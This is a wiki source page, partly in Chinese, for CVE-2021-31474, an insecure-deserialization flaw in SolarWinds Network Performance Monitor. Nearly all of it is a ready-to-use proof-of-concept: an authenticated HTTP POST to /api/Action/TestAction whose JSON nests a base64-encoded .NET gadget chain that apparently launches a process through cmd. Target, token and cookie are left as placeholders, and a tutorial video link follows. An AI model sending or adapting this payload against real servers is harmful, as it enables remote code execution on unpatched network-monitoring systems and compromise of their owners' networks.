View source for CVE-2021–31474 SolarWinds Network Performance Monitor 不安全數據反序列化漏洞

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==POC==
<pre>
POST /api/Action/TestAction HTTP/1.1
Host: <target>
Content-Length: 3978
Accept: application/json, text/javascript, */*; q=0.01
X-XSRF-TOKEN: <token>
X-Requested-With: XMLHttpRequest
ViewLimitationID: 0
User-Agent: Mozilla/5.0
Content-Type: application/json; charset=UTF-8
Cookie: <cookie>
Connection: close

{
    "EnvironmentType": "Alerting",
    "ActionDefinition": {
        "$type": "SolarWinds.Orion.Core.Models.Actions.ActionDefinition, SolarWinds.Orion.Actions.Models",
        "ID": 124,
        "ActionTypeID": "Email",
        "Title": "Send alert email when path to google was changed",
        "Description": "Send alert email when path to google was changed",
        "Enabled": true,
        "Order": 1,
        "IconPath": null,
        "IsShared": false,
        "ActionProperties": [
            {
                "$type": "SolarWinds.Orion.Core.Models.Actions.ActionProperty, SolarWinds.Orion.Actions.Models",
                "PropertyName": "EmailBCC",
                "PropertyValue": "${DefaultEmailBCC}",
                "IsShared": false
            }
        ],
        "TimePeriods": [],
        "TransitiveID": null
    },
    "ActionContext": {
        "$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models",
        "ExecutionMode": 0,
        "EnviromentType": 0,
        "EntityType": "Orion.NetPath.ServiceAssignments",
        "EntityUri": "swis://EX-MB02./Orion/Orion.NetPath.ServiceAssignments/ProbeID=1,EndpointServiceID=1",
        "EntityUris": null,
        "IsGlobalAlert": false,
        "AlertContext": {
            "$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models",
            "AlertName": "Path to Google",
            "CreatedBy": null
        },
        "AlertActiveId": null,
        "AlertObjectId": null,
        "NetObjectData": null,
        "ObjectDataExists": false,
        "MacroContext": {
            "$type": "SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1",
            "contexts": [
                {
                    "$type": "SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1",
                    "EntityProperties": {
                        "$type": "SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2",
                        "a": {
                            "$type": "System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                            "SessionToken": {
                                "$type": "System.Byte[], mscorlib",
                                "$value": "QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6ayARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdHdVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUdOaGJHTXVaWGhsSWlCVGRHRnVaR0Z5WkVWeWNtOXlSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJUZEdGdVpHRnlaRTkxZEhCMWRFVnVZMjlrYVc1blBTSjdlRHBPZFd4c2ZTSWdWWE5sY2s1aGJXVTlJaUlnVUdGemMzZHZjbVE5SW50NE9rNTFiR3g5SWlCRWIyMWhhVzQ5SWlJZ1RHOWhaRlZ6WlhKUWNtOW1hV3hsUFNKR1lXeHpaU0lnUm1sc1pVNWhiV1U5SW1OdFpDSWdMejROQ2lBZ0lDQWdJRHd2YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnUEM5elpEcFFjbTlqWlhOelBnMEtJQ0E4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1UFltcGxZM1JKYm5OMFlXNWpaVDROQ2p3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeVBncz0BAQEBAQ=="
                            }
                        }
                    }
                }
            ]
        }
    }
}
</pre>

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===使用教程=== <!--T:1-->
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https://www.youtube.com/watch?v=wq1ifkYyn_w